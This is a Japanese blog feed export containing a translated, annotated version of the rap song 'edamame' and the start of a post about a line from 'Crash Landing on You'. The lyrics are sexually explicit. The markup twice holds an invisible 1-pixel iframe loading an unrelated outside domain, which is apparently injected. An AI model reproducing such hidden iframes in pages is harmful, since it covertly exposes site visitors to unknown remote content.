<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない<strong>誓って</strong>もいいぜ</p>



<p class="wp-block-paragraph"><strong>Just Popped Her Kidney, I Bought A Million</strong><br><strong>Options Of The Stock And I Stopped Doing The Green</strong><br><strong>Man, I Rock Arenas, Bringing The Peace, I&#8217;m Bumping That Pac</strong><br><strong>In The Car, Pretending I Got All The Eyes On Me</strong><br><strong>Got A Bad Baby And She&#8217;s Independent</strong><br><strong>So Many People Older Than Me That&#8217;s Seeking Attention</strong><br><strong>When They Warned Me About The Goofies, Man, I Shoulda Listened</strong><br><strong>And The Smell Of The Money My Strangest Addiction</strong></p>



<p class="wp-block-paragraph">臓器売買で入った金で大口の株を買い占めてやった<br>環境保護？なんだそれ<br>アリーナを揺らすんだ　その方が平和だろ<br>大音量で<strong>Pac</strong>をかけたら注目の的さ、人気者になったみたいにさ<br>クールな女もゲットした<br>注目されたい老いぼればかりだけど<br>そいつらの忠告は聞いておけ<br>金の臭いしか興味ねえんだ、<strong>おかしな中毒症状</strong>だぜ</p>



<p class="wp-block-paragraph"><strong>She Tip For D**k, I Let Her Lick</strong><br><strong>I Had To Dip, I&#8217;m Off A Fifth, Am I Rich Now?</strong><br><strong>I Bought A Whip, I Paint It Pink</strong><br><strong>It Drive Itself, The F**k You Think?</strong><br><strong>Yeah! I&#8217;m Rich Now</strong></p>



<p class="wp-block-paragraph">追加料金払えば舐めさせてやる<br>5回でイってやる　俺ってリッチなのか？<br>ピンクの車でドライブさ　つべこべ言うなよ<br>俺ってリッチだろ？</p>



<p class="wp-block-paragraph"><strong>Aye Little Mama, Yeah! You Heard About Me</strong><br><strong>I&#8217;ma Pop You Like A Pea, Yeah! Edamame</strong><br><strong>Yeah! Feel So Hot Like I&#8217;m Chilling On The Beach</strong><br><strong>Yeah! Baby In The Sun Like The Teletubbies</strong></p>



<p class="wp-block-paragraph">ねえ、そこの君　俺のこと知ってるんだろ<br><strong>枝豆</strong>みたいに弾けさせてやろうか<br>ホットなビーチみたいにさ<br><strong>テレタビーズの太陽</strong>みたいにさ</p>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-*ss B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">ヨットで酒飲み大はしゃぎ<br>首元でチャラチャラうるさいチェーン　いくら払ったったと思ってんだ<br>お前とは違って俺は金持ちなんだ<br>お前はずっとあがいてろ</p>



<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない　誓ってもいいぜ</p>



<p class="wp-block-paragraph"><strong>I&#8217;ve Been In The Club And Taking Shots</strong><br><strong>If You Got Your Mask Off In The Photo You Getting Cropped</strong><br><strong>Hopping Out The Function, The CVS Is Like A Block Away</strong></p>



<p class="wp-block-paragraph">クラブではショットを飲みまくり<br>マスクなしだとお前は不細工だな　切り取ってやる<br>パーティから抜け出して近所のドラッグストアにでも行ってろよ</p>



<p class="wp-block-paragraph"><strong>Bought A Moisturizer, My Ice Cold, It&#8217;s Drying My Face</strong><br><strong>Don&#8217;t Need That VVS, My Ice Is Fake, Your Life Is Fake</strong><br><strong>I Choose To Do It For My Pocket&#8217;s Sake</strong><br><strong>You Basing Your Opinions On What The Major Says</strong><br><strong>I Renovate, The Bad Energy I Erase</strong></p>



<p class="wp-block-paragraph">冷徹な俺を潤す加湿器が必要なのさ<br><strong>ダイヤ</strong>はいらねえ　お前の人生って嘘くさいよな<br>俺も無駄金払わなくて済むしな<br>お前らは<strong>世論</strong>に流されてろ<br>そんな世の中俺がおれがぶっ壊してやる</p>



<p class="wp-block-paragraph"><strong>Yeah! I Don&#8217;t Ever Really Wanna Talk, Talk, Talk, Talk</strong><br><strong>Only Really Ever Want The Top, Top, Top, Top</strong><br><strong>Guess I&#8217;m Going Back To The Sock, Sock, Sock, Sock</strong><br><strong>Least This Money Never Really Stop, Stop, Stop, Stop</strong></p>



<p class="wp-block-paragraph">俺は寡黙にいきたいんだ<br>てっぺん目指してんだ<br>ソックスでマス掻くんだ<br>金ならネバーストップで入ってくるからな</p>



<p class="wp-block-paragraph"><strong>Aye! Little Mama, Yeah! You Heard About Me</strong><br><strong>I&#8217;ma Pop You Like A Pea, Yeah! Edamame</strong><br><strong>Yeah! Feel So Hot Like I&#8217;m Chilling On The Beach</strong><br><strong>Yeah! Baby In The Sun Like The Teletubbies</strong></p>



<p class="wp-block-paragraph">ねえ、そこの君　俺のこと知ってるんだろ<br>枝豆みたいに弾けさせてやろうか<br>ホットなビーチみたいにさ<br>テレタビーズの太陽みたいにさ</p>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-*ss B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">ヨットで酒飲み大はしゃぎ<br>首元で光るチェーン　いくら払ったったと思ってんだ<br>お前とは違って俺は金持ちなんだ<br>お前はずっとあがいてろ</p>



<p class="wp-block-paragraph"><strong>Woah! I&#8217;m A Big Bag Hunter With The Bow</strong><br><strong>She Got A Big Bad Dumper, Drop It Low</strong><br><strong>Mama Called Me And She Happy With The Growth</strong><br><strong>Never Ever Fold For A Thottie, That&#8217;s An Oath</strong></p>



<p class="wp-block-paragraph">俺は大物狙いのハンターだ<br>彼女は上物だけどただの遊びさ<br>ママはビッグになった俺に大満足してるのさ<br>そんな安い女に俺が落ちるわけがない　誓ってもいいぜ</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">・Bad-ass B ＝badd assはイカした人、Bはこの曲ではRich Brianを指します<br>・Kidney＝腎臓<br>・Goofies＝goofy（複）、馬鹿な人<br>・Whip＝車（俗）<br>・Function＝パーティ（俗）<br>・The Major＝大衆、世間<br>・Pop＝弾ける、楽しませる<br>・Chilling On The Beach＝ビーチで寛ぐ<br>・Balls Hanging Low＝男性器<br>・Pop A Bottle＝ボトルをあける<br>・Off A Yacht＝ヨットが出発する、ここでは海上に浮かぶボートと訳<br>・Cling-Clang＝金属が鳴る音、ちゃりんちゃりん<br>・Guala＝金（俗）<br>・Bow=弓<br>・Dumper＝ゴミ、ふった恋人<br>・Fold For=妥協する、ここでは、落ちると訳しています<br>・Thottie=娼婦（俗）<br>・Oath＝誓い</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">歌詞をブレイクダウン解説</h2>



<h4 class="wp-block-heading">Edamame（枝豆）</h4>



<p class="wp-block-paragraph">以前からの日本食ブームに加え、子供たちも食べられる、ヘルシーな枝豆はお酒のつまみに最適、しかもベジタリアンも食べられるなどの理由から数年前から欧米で大人気の枝豆。EDAMAMEという表記でスーパーでも販売され、天ぷら、しゃぶしゃぶ、ラーメン、刺身のように日本語のまま受け入れられています。レストランだけでなく学校のカフェテリアでも人気メニューです。この曲では、鞘からはじけ出てくる枝豆の様子が歌詞に登場します。</p>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Aye Little Mama, Yeah! You Heard About <span style="color: #ff00ff;">Me</span><br />
I&#8217;ma Pop You Like A Pea, Yeah! Edama<span style="color: #ff00ff;">me</span></strong></div></div>



<p class="wp-block-paragraph">この歌詞では、わざとエダマミーと発音してMeとEdamameが韻を踏ませています。<br>Popは弾けるという意味以外にも、楽しませる、という意味があり、枝豆が鞘から弾け出るように楽しませてやるぜという感じでしょうか。</p>



<h4 class="wp-block-heading">I&#8217;m Bumping That Pac</h4>



<p class="wp-block-paragraph">この That Pac は2 Pacが1996年にリリースした“All Eyez on Me”という楽曲を指しているそう。2 Pacといえばヒップホップ史を塗り替えたラッパーで、1996年に他界してなお、レジェンドとして君臨し続けています。</p>



<h4 class="wp-block-heading">My Strangest Addiction</h4>



<p class="wp-block-paragraph">2016年、<span style="caret-color: #000000; color: #000000;">リッチ・ブライアン</span>自身のYouTubeチャンネル内で、マリファナ中毒だったと語り、<strong>My Strange Addiction(おかしな中毒症状)</strong>と当時の様子を振り返っていました。</p>



<h4 class="wp-block-heading">I Bought A Whip, I Paint It Pink</h4>



<p class="wp-block-paragraph">ピンクの車好きとして知られるbbno$。2019年にリリースしたLalalaという曲でもピンクの車が登場します。</p>



<h4 class="wp-block-heading">Taking Shots</h4>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Taking Shots<br />
If You Got Your Mask Off In The Photo You Getting Cropped<br />
Hopping Out The Function, The CVS Is Like A Block Away</strong></div></div>



<p class="wp-block-paragraph">リッチ・ブライアンによると、ここに登場するshotはショットのアルコールではなく、コロナのワクチン注射のことを指しているようです。「Don’t be an anti-vaxxer（アンチ・ワクチンになるな）」という意味が込められているとか。また、「ソーシャルディスタンスやマスクをせずに出かけるのはご法度だ、俺のSNSにそんな奴らは写真から切り取って投稿してやる」とも語っています。CVSはアメリカの大型チェーンドラッグストアの名前で、「そんなマナーのない奴らはドラッグストアでマスクでも買ってこい」と言いたいのでしょう。</p>



<h4 class="wp-block-heading">Baby In The Sun Like The Teletubbies</h4>



<p class="wp-block-paragraph"><a href="https://ja.wikipedia.org/wiki/%E3%83%86%E3%83%AC%E3%82%BF%E3%83%93%E3%83%BC%E3%82%BA" target="_blank" rel="noopener">テレタビーズ</a>は、1997年ごろイギリス発の子供向け番組。この歌詞にはそのショーのベビーサン (Baby Sun)というキャラクターが登場します。黄色赤ちゃんの顔をしたベビーサンは、ショーの始まりで登り、終わりに沈みます。</p>



<h4 class="wp-block-heading">Don&#8217;t Need That VVS</h4>


<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>Don&#8217;t Need That VVS, My Ice Is Fake, Your Life Is Fake</strong></div></div>



<p class="wp-block-paragraph">VVS (Very, Very Slightly Included)とはダイヤモンドの良さを説明する時に使われる用語です。多くのラッパーが成功の証にダイヤモンドを購入し、見せびらかすことをリッチ・ブライアンは皮肉って、「ダイヤが良いラッパーを生み出すわけではない。そんなもの俺にはいらない。見せかけだ」と言っています。</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<figure class="wp-block-image"><img decoding="async" src="https://www10.a8.net/0.gif?a8mat=35PYA1+9WMO4Y+2NA+1THW9E" alt=""/></figure>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://english.blogmura.com/ranking/in?p_cid=11124350" target="_blank" rel="noopener"><img loading="lazy" decoding="async" src="https://b.blogmura.com/original/1311485" alt="にほんブログ村 英語ブログへ" width="240" height="126" border="0"></a><br><a href="https://english.blogmura.com/ranking/in?p_cid=11124350" target="_blank" rel="noopener">にほんブログ村</a></p>



<p class="wp-block-paragraph">&nbsp;</p>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>



<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&amp;linkname=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2021%2F10%2F23%2Fedamame%2F&#038;title=%E3%83%A9%E3%83%83%E3%83%97%E3%81%A8%E6%9E%9D%E8%B1%86%E3%81%AE%E8%9E%8D%E5%90%88%EF%BC%9FRich%20Brian%26bbno%24%E3%80%8Eedamame%E3%80%8F%E5%92%8C%E8%A8%B3" data-a2a-url="https://ffeng.jp/2021/10/23/edamame/" data-a2a-title="ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2021/10/23/edamame/">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/07/26/maninfinance/' title='今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.scmp.com/magazines/style/entertainment/article/3264564/who-megan-boni-tiktokker-behind-man-finance-26-year-old-was-working-day-job-sales-when-her-clip-went" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1617</post-id>	</item>
		<item>
		<title>大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</title>
		<link>https://ffeng.jp/2020/08/21/cloy3/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Fri, 21 Aug 2020 11:35:58 +0000</pubDate>
				<category><![CDATA[〜を使ったおもしろ表現]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[映画・テレビ]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[come by turns]]></category>
		<category><![CDATA[Crash Landing on You]]></category>
		<category><![CDATA[fortune]]></category>
		<category><![CDATA[Fortune and misfortune are like twisted rope]]></category>
		<category><![CDATA[idiom derived from historical events or classical literature of China]]></category>
		<category><![CDATA[misfortune]]></category>
		<category><![CDATA[so they come by turns. Everything will be fine soon]]></category>
		<category><![CDATA[twisted rope]]></category>
		<category><![CDATA[すぐに全て上手くいく]]></category>
		<category><![CDATA[より合わせた縄]]></category>
		<category><![CDATA[ジョンヒョク]]></category>
		<category><![CDATA[セリ]]></category>
		<category><![CDATA[ドラマ]]></category>
		<category><![CDATA[ヒョンビン]]></category>
		<category><![CDATA[不時着]]></category>
		<category><![CDATA[不運]]></category>
		<category><![CDATA[不運と幸運はよりあわせた縄のように交互にやってくる]]></category>
		<category><![CDATA[人間万事塞翁が馬]]></category>
		<category><![CDATA[北朝鮮]]></category>
		<category><![CDATA[名セリフ]]></category>
		<category><![CDATA[名言]]></category>
		<category><![CDATA[名言王]]></category>
		<category><![CDATA[大ヒット]]></category>
		<category><![CDATA[大人気]]></category>
		<category><![CDATA[奥が深い]]></category>
		<category><![CDATA[好きなセリフ]]></category>
		<category><![CDATA[字幕]]></category>
		<category><![CDATA[幸運]]></category>
		<category><![CDATA[愛の不時着]]></category>
		<category><![CDATA[故事成語]]></category>
		<category><![CDATA[災いの後には幸せがくるものだ]]></category>
		<category><![CDATA[禍福は糾える縄の如し]]></category>
		<category><![CDATA[英訳]]></category>
		<category><![CDATA[英語字幕]]></category>
		<category><![CDATA[訳]]></category>
		<category><![CDATA[韓国]]></category>
		<category><![CDATA[韓流ドラマ]]></category>
		<category><![CDATA[順番にやってくる]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1496</guid>

					<description><![CDATA[<p>リクエストにお応えして今回も大人気の韓流ドラマ《愛 <a class="mh-excerpt-more" href="https://ffeng.jp/2020/08/21/cloy3/" title="大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2020/08/21/cloy3/">大ヒット韓流ドラマ《愛の不時着》名セリフ　災いの後には幸せがくるものだ　英訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/11/content-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/11/content-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/11/content-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/08/ren-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2024/08/ren-150x150.png 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">リクエストにお応えして今回も大人気の韓流ドラマ《<strong>愛の不時着</strong>（<strong>Crash Landing on You</strong>）》第2話に登場する名セリフを英語でご紹介します。</p>



<p class="wp-block-paragraph">慣れない土地に不時着、しかも、自国と敵対している<strong>北朝鮮</strong>の片田舎に身を潜める事になった<strong>セリ</strong>。<strong>韓国</strong>では金に物を言わせやりたい放題やっていたバイタリティ溢れるお嬢セリでも、一時的とはいえ、同じ言葉を話すという以外はまるで勝手の違う世界での生活は心細く、寂しいもの。停電の夜、一人心細くなり<strong>ジョンヒョク</strong>の前で大泣きしてしまいます。その時、<strong>セリ</strong>を慰めるためにいう<strong>ジョンヒョク</strong>のセリフ。まだ、打ち解けていない2人ですが、この頃からだんだん近くなっていきます。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://ffeng.jp/wp-content/uploads/2024/10/military-man-300x300-1.png" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p class="wp-block-paragraph"><strong>Fortune and misfortune are like twisted rope, so they come by turns. Everything will be fine soon.</strong></p>



<p class="wp-block-paragraph">災いの後には幸せがくるものだ<br>（不運と幸運はよりあわせた縄のように交互にやってくる。すぐに全て上手くいくさ）</p>
</div></div></div>



<p class="wp-block-paragraph"><strong>名言王ジョンヒョク</strong>が初めて口にする名言なのですが、日本語字幕では「<strong>災いの後には幸せがくるものだ</strong>」と短い訳が付けられています。英語字幕だと上記のような長い英訳がついており、調べてみたら『<strong>禍福は糾える縄の如し</strong>（<strong>不運と幸運はよりあわせた縄のように交互にやってくる</strong>）』または『<strong>人間万事塞翁が馬</strong>』というという<strong>故事成語</strong>（<strong>idiom derived from historical events or classical literature of China</strong>）でした。<strong>ジョンヒョク</strong> の人柄を表すような奥が深い言葉ですね。ちなみに、以下のビデオで、<strong>ジョンヒョク</strong>役の<strong>ヒョンビン</strong>もドラマの中の好きなセリフは？と聞かれ、この「<strong>災いの後には幸せがくるものだ</strong>」が好きだと答えています。</p>



<p class="wp-block-paragraph">&nbsp;</p>


<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-l9qsxtjoifg" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-l9qsxtjoifg" 